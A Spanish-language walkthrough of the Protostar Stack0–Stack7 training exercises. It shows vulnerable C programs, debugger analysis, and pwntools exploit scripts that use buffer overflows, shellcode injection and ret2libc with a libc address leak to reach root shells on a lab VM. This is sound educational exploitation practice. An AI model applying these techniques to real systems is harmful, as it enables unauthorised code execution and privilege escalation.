Stack0

Acerca de

Este nivel nos introduce en el concepto de que se puede acceder a la memoria fuera de su región asignada, sobre cómo se distribuyen las variables de la pila y que la modificación fuera de la memoria asignada puede modificar la ejecución del programa.

Código

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

Objetivo

Según podemos observar en el código, tenemos que conseguir que la variable "local_14" sea distinto de 0.

La variable "local_54" tiene una capacidad de 64 bytes y la variable "local_14" está declarada inmediatamente después de "local_54" por lo que si escribimos 65 bytes estaremos sobrescribiendo "local_14" y superando el desafío.

Explotación

user@protostar:/opt/protostar/bin$ python -c "print 'A'*64 + 'B'" | ./stack0
you have changed the 'modified' variable

Stack1

Acerca de

Este nivel analiza el concepto de modificar variables a valores específicos en el programa y cómo se distribuyen las variables en la memoria.

Código

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

Objetivo

Según podemos observar en el código, tenemos que conseguir que la variable "local_14" tenga como valor 0x61626364.

La variable "local_54" tiene una capacidad de 64 bytes y la variable "local_14" está declarada inmediatamente después de "local_54" por lo que si escribimos 0x61626364 en little endian después de 64 caracteres estaremos sobrescribiendo "local_14" con el valor esperado y superando el desafío.

Explotación

user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print 'A' * 64 + '\x64\x63\x62\x61'")
you have correctly got the variable to the right value

Stack2

Acerca de

En este nivel analizamos las variables de entorno y cómo se pueden configurar.

Código

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

Objetivo

Según el código, debemos lograr modificar el valor de la variable de entorno "GREENIE" a 0 y el valor de la variable "local_18" a 0xd0a0d0a.

En este caso nuestro punto de ataque se encuentra en la variable de entorno GREENIE. Debemos asignar 64 bytes seguidos de la dirección 0xd0a0d0a en little endian como valor a la variable de entorno GREENIE de manera que al ejecutar el binario, sobrecargaremos el buffer de la variable "local_58" sobrescribiendo el valor de la variable "local_18" ya que está alojada en la memoria inmediatamente después de "local_58".

Explotación

user@protostar:/opt/protostar/bin$ export GREENIE=$(python -c "print 'A' * 64 + '\x0a\x0d\x0a\x0d'"); ./stack2
you have correctly modified the variable

Stack3

Acerca de

Stack3 analiza las variables de entorno y cómo se pueden configurar, y sobrescribe los punteros de función almacenados en la pila (como un preludio para sobrescribir el EIP guardado)

Código

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Objetivo

Según el código, debemos lograr modificar el valor de la variable "fp" a la dirección de la función "win()".

Análisis

Sabemos que el tamaño de la variable "buffer" es 64 bytes por lo que, vamos a insertar un breakpoint al final de la función main(), a mostrar la dirección de comienzo de la función win() y a ejecutar el binario enviándole una cadena de 64 'A' y 4 'B' para ver si logramos escribir en EIP las 4 'B' que son equivalentes a 0x42424242.

pwndbg> disass main
Dump of assembler code for function main:
   0x08048438 <+0>: push   ebp
   0x08048439 <+1>: mov    ebp,esp
   0x0804843b <+3>: and    esp,0xfffffff0
   0x0804843e <+6>: sub    esp,0x60
   0x08048441 <+9>: mov    DWORD PTR [esp+0x5c],0x0
   0x08048449 <+17>:    lea    eax,[esp+0x1c]
   0x0804844d <+21>:    mov    DWORD PTR [esp],eax
   0x08048450 <+24>:    call   0x8048330 <gets@plt>
   0x08048455 <+29>:    cmp    DWORD PTR [esp+0x5c],0x0
   0x0804845a <+34>:    je     0x8048477 <main+63>
   0x0804845c <+36>:    mov    eax,0x8048560
   0x08048461 <+41>:    mov    edx,DWORD PTR [esp+0x5c]
   0x08048465 <+45>:    mov    DWORD PTR [esp+0x4],edx
   0x08048469 <+49>:    mov    DWORD PTR [esp],eax
   0x0804846c <+52>:    call   0x8048350 <printf@plt>
   0x08048471 <+57>:    mov    eax,DWORD PTR [esp+0x5c]
   0x08048475 <+61>:    call   eax
   0x08048477 <+63>:    leave  
   0x08048478 <+64>:    ret    
End of assembler dump.
pwndbg> disass win
Dump of assembler code for function win:
   0x08048424 <+0>: push   ebp
   0x08048425 <+1>: mov    ebp,esp
   0x08048427 <+3>: sub    esp,0x18
   0x0804842a <+6>: mov    DWORD PTR [esp],0x8048540
   0x08048431 <+13>:    call   0x8048360 <puts@plt>
   0x08048436 <+18>:    leave  
   0x08048437 <+19>:    ret    
End of assembler dump.
pwndbg> b *0x08048477
Breakpoint 1 at 0x8048477: file stack3/stack3.c, line 24.
pwndbg> r
Starting program: /mnt/Datos/Hacking/Protostar/Stack3/stack3 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
calling function pointer, jumping to 0x42424242

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Como podemos ver, tenemos control sobre EIP por lo que, ahora solo tenemos que hacer que EIP tenga como valor la dirección de comienzo de la función win(), es decir 0x08048424 aunque en nuestro exploit usaremos ELF para obtener la dirección automáticamente.

Explotación

Exploit

from pwn import *

s = ssh(host='192.168.1.242', port=22, user='user', password='user')
p = s.run('/opt/protostar/bin/stack3')
binary = ELF('stack3')

offset = 64
win = binary.symbols['win']
payload = 'A'*offset + p32(win)

p.sendline(payload)
response = p.recvall()
log.info('win() function address: {}'.format(hex(win)))
log.info('Sending payload...')
log.success('Response: \n{}'.format(response))

Ejecución

# python exploit.py
[+] Connecting to 192.168.1.242 on port 22: Done
[*] user@192.168.1.242:
    Distro    Unknown Unknown
    OS:       Unknown
    Arch:     Unknown
    Version:  0.0.0
    ASLR:     Disabled
    Note:     Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: '/opt/protostar/bin/stack3': Done
[*] '/mnt/Datos/Hacking/Protostar/Stack3/stack3'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Receiving all data: Done (79B)
[*] Closed SSH channel with 192.168.1.242
[*] win() function address: 0x8048424
[*] Sending payload...
[+] Response: 
    calling function pointer, jumping to 0x08048424
    code flow successfully changed

Stack4

Acerca de

Stack4 trata sobre cómo sobrescribir el EIP guardado y el desbordamiento de búfer estándar.

Código

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Objetivo

En este desafío tenemos que conseguir que EIP apunte a la función win().

Análisis

Lo primero que necesitamos conocer es en cuantos bytes se encuentra el offset. La función usada se puede ver al final del documento.

# python offset.py
[+] Starting local process './stack4': pid 7773
[*] Process './stack4' stopped with exit code -11 (SIGSEGV) (pid 7773)
[+] Parsing corefile...: Done
[*] '/mnt/Datos/Hacking/Protostar/Stack4/core.7773'
    Arch:      i386-32-little
    EIP:       0x61616161
    ESP:       0xffffd1b0
    Exe:       '/mnt/Datos/Hacking/Protostar/Stack4/stack4' (0x8048000)
    Fault:     0x61616161
[+] Offset at: 76 bytes

Una vez conocemos el offset, necesitamos saber la dirección de la función win() para ello usaremos GDB.

(gdb) disass win
Dump of assembler code for function win:
0x080483f4 <win+0>: push   %ebp
0x080483f5 <win+1>: mov    %esp,%ebp
0x080483f7 <win+3>: sub    $0x18,%esp
0x080483fa <win+6>: movl   $0x80484e0,(%esp)
0x08048401 <win+13>:    call   0x804832c <puts@plt>
0x08048406 <win+18>:    leave  
0x08048407 <win+19>:    ret    
End of assembler dump.
(gdb)

Ahora sabemos que la dirección a la que debe apuntar EIP es 0x080483f4.

Explotación

El exploit consiste en el envío de una cadena de 76 bytes seguido de la dirección de la función win() en little endian.

Exploit

from pwn import *

s = ssh(host='192.168.1.242', port=22, user='user', password='user')
p = s.run('/opt/protostar/bin/stack4')

offset = 76
win = 0x080483f4

payload = asm('nop') * offset + p32(win)

log.info('Sending payload...')
p.sendline(payload)
log.success('Response: {}'.format(p.recvall()))

Ejecución

# python exploit.py
[+] Connecting to 192.168.1.242 on port 22: Done
[*] user@192.168.1.242:
    Distro    Unknown Unknown
    OS:       Unknown
    Arch:     Unknown
    Version:  0.0.0
    ASLR:     Disabled
    Note:     Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: '/opt/protostar/bin/stack4': Done
[*] Sending payload...
[+] Receiving all data: Done (50B)
[*] Closed SSH channel with 192.168.1.242
[+] Response: code flow successfully changed

Stack5

Acerca de

Stack5 es un desbordamiento de búfer estándar, esta vez llamando a un shellcode.

Código

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Objetivo

En este desafío tenemos que cargar un shellcode en ESP y conseguir que EIP apunte al comienzo de nuestro shellcode.

Análisis

Lo primero que necesitamos conocer es en cuantos bytes se encuentra el offset. La función usada se puede ver al final del documento.

# python offset.py
[+] Starting local process './stack5': pid 7773
[*] Process './stack5' stopped with exit code -11 (SIGSEGV) (pid 7773)
[+] Parsing corefile...: Done
[*] '/mnt/Datos/Hacking/Protostar/Stack5/core.7773'
    Arch:      i386-32-little
    EIP:       0x61616161
    ESP:       0xffffd1b0
    Exe:       '/mnt/Datos/Hacking/Protostar/Stack5/5' (0x8048000)
    Fault:     0x61616161
[+] Offset at: 76 bytes

Una vez conocemos el offset, necesitamos saber la dirección de comienzo de nuestro payload, para ello vamos a usar GDB en la máquina objetivo. Lo primero que haremos será crear un breakpoint al final de la función main y ejecutaremos el binario enviando 76 'A' + 4 'B' y luego ejecutaremos x/60wx $esp para obtener la dirección de comienzo.

(gdb) disass main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   %ebp
0x08048409 <main+1>:    mov    %esp,%ebp
0x0804840b <main+3>:    and    $0xfffffff0,%esp
0x0804840e <main+6>:    sub    $0x50,%esp
0x08048411 <main+9>:    lea    0x10(%esp),%eax
0x08048415 <main+13>:   mov    %eax,(%esp)
0x08048418 <main+16>:   call   0x804830c <gets@plt>
0x0804841d <main+21>:   leave  
0x0804841e <main+22>:   ret    
End of assembler dump.
(gdb) b *0x0804841d
Breakpoint 1 at 0x804841d: file stack5/stack5.c, line 16.
(gdb) r
Starting program: /opt/protostar/bin/stack5 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Breakpoint 1, main (argc=0, argv=0xbffff854) at stack5/stack5.c:16
16  stack5/stack5.c: No such file or directory.
    in stack5/stack5.c
(gdb) x/60wx $esp
0xbffff750: 0xbffff760  0xb7ec6165  0xbffff768  0xb7eada75
0xbffff760: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff770: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff780: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff790: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff7a0: 0x41414141  0x41414141  0x41414141  0x42424242
0xbffff7b0: 0x00000000  0xbffff854  0xbffff85c  0xb7fe1848
0xbffff7c0: 0xbffff810  0xffffffff  0xb7ffeff4  0x0804824b
0xbffff7d0: 0x00000001  0xbffff810  0xb7ff0626  0xb7fffab0
0xbffff7e0: 0xb7fe1b28  0xb7fd7ff4  0x00000000  0x00000000
0xbffff7f0: 0xbffff828  0x486fd1e6  0x6238c7f6  0x00000000
0xbffff800: 0x00000000  0x00000000  0x00000001  0x08048340
0xbffff810: 0x00000000  0xb7ff6210  0xb7eadb9b  0xb7ffeff4
0xbffff820: 0x00000001  0x08048340  0x00000000  0x08048361
0xbffff830: 0x08048408  0x00000001  0xbffff854  0x08048430
(gdb) 

Ahora sabemos que nuestro payload comienza en 0xbffff760. Vamos a escribir el exploit.

Explotación

El exploit consiste en el envío de un shellcode que se alojará dentro del buffer y escribirá la dirección de comienzo de nuestro shellcode en EIP para que al llegar al return el binario salte a nuestro shellcode y lo ejecute. El exploit queda del siguiente modo.

Exploit

from pwn import *

s = ssh(host='192.168.1.242', port=22, user='user', password='user')
p = s.run('/opt/protostar/bin/stack5')

offset = 76
eip = 0xbffff760
shellcode = asm(shellcraft.execve('/bin/sh'))

postshellcode = asm('nop') * 8
preshellcode = asm('nop') * (offset - len(shellcode) - len(postshellcode))
payload = preshellcode + shellcode + postshellcode + p32(eip)

p.sendline(payload)
p.interactive()

Ejecución

# python exploit.py
[+] Connecting to 192.168.1.242 on port 22: Done
[*] user@192.168.1.242:
    Distro    Unknown Unknown
    OS:       Unknown
    Arch:     Unknown
    Version:  0.0.0
    ASLR:     Disabled
    Note:     Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: '/opt/protostar/bin/stack5': Done
[*] Switching to interactive mode
# $ id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

Stack6

Acerca de

Stack6 analiza lo que sucede cuando tiene restricciones en la dirección de retorno. Este nivel se puede hacer de varias maneras, como encontrar el duplicado de la carga útil (objdump -s) ayudará con esto, ret2libc, o incluso programación orientada al retorno.

Código

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Objetivo

En este desafío no podemos modificar la dirección de retorno para que apunte a nuestro shellcode ya que if((ret & 0xbf000000) == 0xbf000000) lo detectaría. Por lo tanto, lo que podemos es hacer un pequeño ROP (Return Oriented Programming) para la dirección de retorno apunte a las funciones que deseemos de libc.

Análisis

Lo primero que necesitamos conocer es en cuantos bytes se encuentra el offset. La función usada se puede ver al final del documento.

# python exploit.py
[+] Starting local process './stack6': pid 5374
[*] Process './stack6' stopped with exit code -11 (SIGSEGV) (pid 5374)
[+] Parsing corefile...: Done
[*] '/mnt/Datos/Hacking/Protostar/Stack6/core.5374'
    Arch:      i386-32-little
    EIP:       0x6161616b
    ESP:       0xff858ec0
    Exe:       '/mnt/Datos/Hacking/Protostar/Stack6/stack6' (0x8048000)
    Fault:     0x6161616b
[+] Offset at: 80 bytes

Para construir este exploit vamos a usar Pwntools lo cual nos facilita mucho el trabajo a la hora de extraer las direcciones que queramos por lo que, podemos escribir el exploit prácticamente sin análisis.

Una vez conocemos el offset, necesitamos conocer la dirección base de libc. Para poder hacer leak de esta dirección usaremos la función mostrada al final de este documento.

En este caso, volver a main no es imprescindible ya que ASLR está desactivado pero, en caso de estar activo tendríamos que volver a main que la dirección obtenida siguiese siendo útil puesto que de lo contrario, una nueva ejecución del binario la cambiaría.

Explotación

El exploit extrae la dirección base de libc y la almacena, después obtiene las direcciones de la función "system" y de la llamada a "/bin/sh". Tras esto, envía el tobogán de "nops" hasta llenar el buffer, envía la dirección de system seguido de un nulo y por último la llamada a "/bin/sh" para conseguir una shell.

system = libc.symbols['system']
sh = libc.search('/bin/sh\x00').next()

nops = asm('nop') * offset
payload = nops + p32(system) + p32(0x0) + p32(sh)
log.info('Sending payload')
p.sendline(payload)
p.interactive()

Exploit

from pwn import *

s = ssh(host='192.168.1.242', port=22, user='user', password='user')
p = s.run('/opt/protostar/bin/stack6')
binary = ELF('stack6')
libc = ELF('../libc-2.11.2.so')

offset = 80

def leak_libc(function):
    log.info('Getting necessary addresses')
    got_function = binary.got[function]
    plt_function = binary.plt[function]
    libc_function = libc.symbols[function]
    main = binary.symbols['main']

    log.success("main: " + hex(main))
    log.success("got_{}: {}".format(function, hex(got_function)))
    log.success("plt_{}: {}".format(function, hex(plt_function)))
    log.success("libc_{}: {}\n\n".format(function, hex(libc_function), '\n\n'))

    payload = asm('nop') * offset + p32(plt_function) + p32(main) + p32(got_function) + 'B'
    log.info('Leaking libc addess')
    p.sendline(payload)

    p.recvuntil('B\n')
    leak_libc = u32(p.recvn(4).ljust(4, '\x00'))
    libc.address = leak_libc - libc_function
    log.success("leak libc {}: {}".format(function, hex(leak_libc)))
    log.success("libc base: {}\n\n".format(hex(libc.address)))

leak_libc('printf')

system = libc.symbols['system']
log.success("system: {}\n\n".format(hex(libc.address)))
sh = libc.search('/bin/sh\x00').next()

nops = asm('nop') * offset
payload = nops + p32(system) + p32(0x0) + p32(sh)
log.info('Sending payload')
p.sendline(payload)
p.interactive()

Ejecución

# python exploit.py 
[+] Connecting to 192.168.1.242 on port 22: Done
[*] user@192.168.1.242:
    Distro    Unknown Unknown
    OS:       Unknown
    Arch:     Unknown
    Version:  0.0.0
    ASLR:     Disabled
    Note:     Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: '/opt/protostar/bin/stack6': Done
[*] '/mnt/Datos/Hacking/Protostar/Stack6/stack6'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[*] '/mnt/Datos/Hacking/Protostar/libc-2.11.2.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Getting necessary addresses
[+] main: 0x80484fa
[+] got_printf: 0x804970c
[+] plt_printf: 0x80483c0
[+] libc_printf: 0x46f90

[*] Leaking libc addess
[+] leak libc printf: 0xb7eddf90
[+] libc base: 0xb7e97000

[+] system: 0xb7e97000

[*] Sending payload
[*] Switching to interactive mode
input path please: got path \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xb0\xff췐\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xb0\xff�
# $  
# $ id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
# $

Stack7

Acerca de

Stack6 introduce a retorno a .text para ganar una ejecución de código. La herramienta de Metasploit "msfelfscan" puede hacer una búsqueda de instrucciones de manera sencilla, objdump también nos puede servir de utilidad.

Código

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
    char buffer[64];
    unsigned int ret;

    printf("input path please: "); fflush(stdout);

    gets(buffer);

    ret = __builtin_return_address(0);

    if((ret & 0xb0000000) == 0xb0000000) {
        printf("bzzzt (%p)\n", ret);
        _exit(1);
    }

    printf("got path %s\n", buffer);
    return strdup(buffer);
}

int main(int argc, char **argv)
{
    getpath();
}

Objetivo

Este desafío es prácticamente igual que Stack6 pero, en este caso no podemos haer la llamada a system directamente puesto que esta vez la condición if((ret & 0xb0000000) == 0xb0000000) es más restrictiva y nos impide que llamemos directamente a libc ya que su dirección base (como se pudo ver en Stack6) es 0xb7e97000 y la operación lógica AND que realiza la condición if se cumpliría impidiendo que continuemos el exploit. Vamos a verlo.

# python -c "print(hex(0xb0000000 & 0xb7e97000))"
0xb0000000

Análisis

Esta vez, lo que podemos hacer es que la dirección de retorno apunte a la dirección de "main" y esta a su vez apunte a la dirección de "system".

Lo primero que necesitamos conocer es en cuantos bytes se encuentra el offset. La función usada se puede ver al final del documento.

# python offset.py
[+] Starting local process './stack7': pid 6727
[*] Process './stack7' stopped with exit code -11 (SIGSEGV) (pid 6727)
[+] Parsing corefile...: Done
[*] '/mnt/Datos/Hacking/Protostar/Stack7/core.6727'
    Arch:      i386-32-little
    EIP:       0x6161616b
    ESP:       0xffd76e40
    Exe:       '/mnt/Datos/Hacking/Protostar/Stack7/stack7' (0x8048000)
    Fault:     0x6161616b
[+] Offset at: 80 bytes

Para construir este exploit vamos a usar de nuevo Pwntools.

Una vez conocemos el offset, necesitamos conocer la dirección base de libc. Para poder hacer leak de esta dirección usaremos la función mostrada al final de este documento.

En este caso, volver a main no es imprescindible ya que ASLR está desactivado pero, en caso de estar activo tendríamos que volver a main que la dirección obtenida siguiese siendo útil puesto que de lo contrario, una nueva ejecución del binario la cambiaría.

Explotación

El exploit extrae la dirección base de libc y la almacena, después obtiene las direcciones de "main", la función "system" y de la llamada a "/bin/sh". Tras esto, envía el tobogán de "nops" hasta llenar el buffer, envía la dirección de "main" para que la dirección de retorno apunte a "main", tras esto envía la dirección de "system" para que "main" nos lleve a "system", después un nulo y por último la llamada a "/bin/sh" para conseguir una shell.

system = libc.symbols['system']
log.success("system: {}\n\n".format(hex(libc.address)))
sh = libc.search('/bin/sh\x00').next()
main = binary.symbols['main']

nops = asm('nop') * offset
payload = nops + p32(main) + p32(system) + p32(0x0) + p32(sh)
log.info('Sending payload')
p.sendline(payload)
p.sendline('')
p.interactive()

Exploit

from pwn import *

s = ssh(host='192.168.1.242', port=22, user='user', password='user')
p = s.run('/opt/protostar/bin/stack7')
binary = ELF('stack7')
libc = ELF('../libc-2.11.2.so')

offset = 80

def leak_libc(function):
    log.info('Getting necessary addresses')
    got_function = binary.got[function]
    plt_function = binary.plt[function]
    libc_function = libc.symbols[function]
    main = binary.symbols['main']

    log.success("main: " + hex(main))
    log.success("got_{}: {}".format(function, hex(got_function)))
    log.success("plt_{}: {}".format(function, hex(plt_function)))
    log.success("libc_{}: {}\n\n".format(function, hex(libc_function), '\n\n'))

    payload = asm('nop') * offset + p32(plt_function) + p32(main) + p32(got_function) + 'B'
    log.info('Leaking libc addess')
    p.sendline(payload)

    p.recvuntil('B\n')
    leak_libc = u32(p.recvn(4).ljust(4, '\x00'))
    libc.address = leak_libc - libc_function
    log.success("leak libc {}: {}".format(function, hex(leak_libc)))
    log.success("libc base: {}\n\n".format(hex(libc.address)))

leak_libc('printf')

system = libc.symbols['system']
log.success("system: {}\n\n".format(hex(libc.address)))
sh = libc.search('/bin/sh\x00').next()
main = binary.symbols['main']

nops = asm('nop') * offset
payload = nops + p32(main) + p32(system) + p32(0x0) + p32(sh)
log.info('Sending payload')
p.sendline(payload)
p.sendline('')
p.interactive()

Ejecución

# python exploit.py 
[+] Connecting to 192.168.1.242 on port 22: Done
[*] user@192.168.1.242:
    Distro    Unknown Unknown
    OS:       Unknown
    Arch:     Unknown
    Version:  0.0.0
    ASLR:     Disabled
    Note:     Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: '/opt/protostar/bin/stack7': Done
[*] '/mnt/Datos/Hacking/Protostar/Stack7/stack7'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[*] '/mnt/Datos/Hacking/Protostar/libc-2.11.2.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Getting necessary addresses
[+] main: 0x8048545
[+] got_printf: 0x804975c
[+] plt_printf: 0x80483e4
[+] libc_printf: 0x46f90

[*] Leaking libc addess
[+] leak libc printf: 0xb7eddf90
[+] libc base: 0xb7e97000

[+] system: 0xb7e97000

[*] Sending payload
[*] Switching to interactive mode
 \xa0�input path pleasegot path \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90E\x85\x04\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90E\x85\x04\xb0\xff�
input path please: $                                                                                                                            got path 
# $ id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
# $

Funciones útiles

Encontrar el offset

Esta función envía una cadena de 200 caracteres y guarda la salida del programa en un archivo llamado p.core sobre el cual después realiza la búsqueda del fragmento de la cadena donde se ha producido la ruptura para calcular el offset.

def get_offset():
    p = process("./binary")
    p.sendline(cyclic(200, n=8))
    p.wait()
    core = p.corefile
    return cyclic_find(core.read(core.esp, 8), n=8) - 4 # - 4 because the len of 32bit address

log.success('Offset at: {} bytes'.format(get_offset()))

Encontrar la dirección de libc

Esta función envía un tobogán de "nops" hasta rellenar el offset, después envía la dirección PLT de la función que queramos usar para hacer leak como puede ser "puts", "printf", etc.; así estaremos llamando a esta función para pedirle que imprima lo que nosotros queramos que será la dirección GOT de si misma pero, antes de ello envía la dirección de "main" para que una vez haya impreso la dirección retorne de nuevo a main permitiéndonos continuar con el exploit y por último, envía una 'B' para usarla como referencia al procesar la información obtenida.

El orden o estructura del payload puede variar dependiendo de la función que usemos para realizar la extracción.

Por otro lado, al modificar el valor de 'libc.address' estamos indicando al resto del exploit cual es la dirección de comienzo de libc por lo que no será necesario que hagamos la suma de esta dirección a cada una de las funciones a las que queramos llamar.

Por ejemplo, usando "printf" sería el siguiente código. Este código es el que se ha usado en estos desafíos.

def leak_libc(function):
    log.info('Getting necessary addresses')
    got_function = binary.got[function]
    plt_function = binary.plt[function]
    libc_function = libc.symbols[function]
    main = binary.symbols['main']

    log.success("main: " + hex(main))
    log.success("got_{}: {}".format(function, hex(got_function)))
    log.success("plt_{}: {}".format(function, hex(plt_function)))
    log.success("libc_{}: {}\n\n".format(function, hex(libc_function), '\n\n'))

    payload = asm('nop') * offset + p32(plt_function) + p32(main) + p32(got_function) + 'B'
    log.info('Leaking libc addess')
    p.sendline(payload)

    p.recvuntil('B\n')
    leak_libc = u32(p.recvn(4).ljust(4, '\x00'))
    libc.address = leak_libc - libc_function
    log.success("leak libc {}: {}".format(function, hex(leak_libc)))
    log.success("libc base: {}\n\n".format(hex(libc.address)))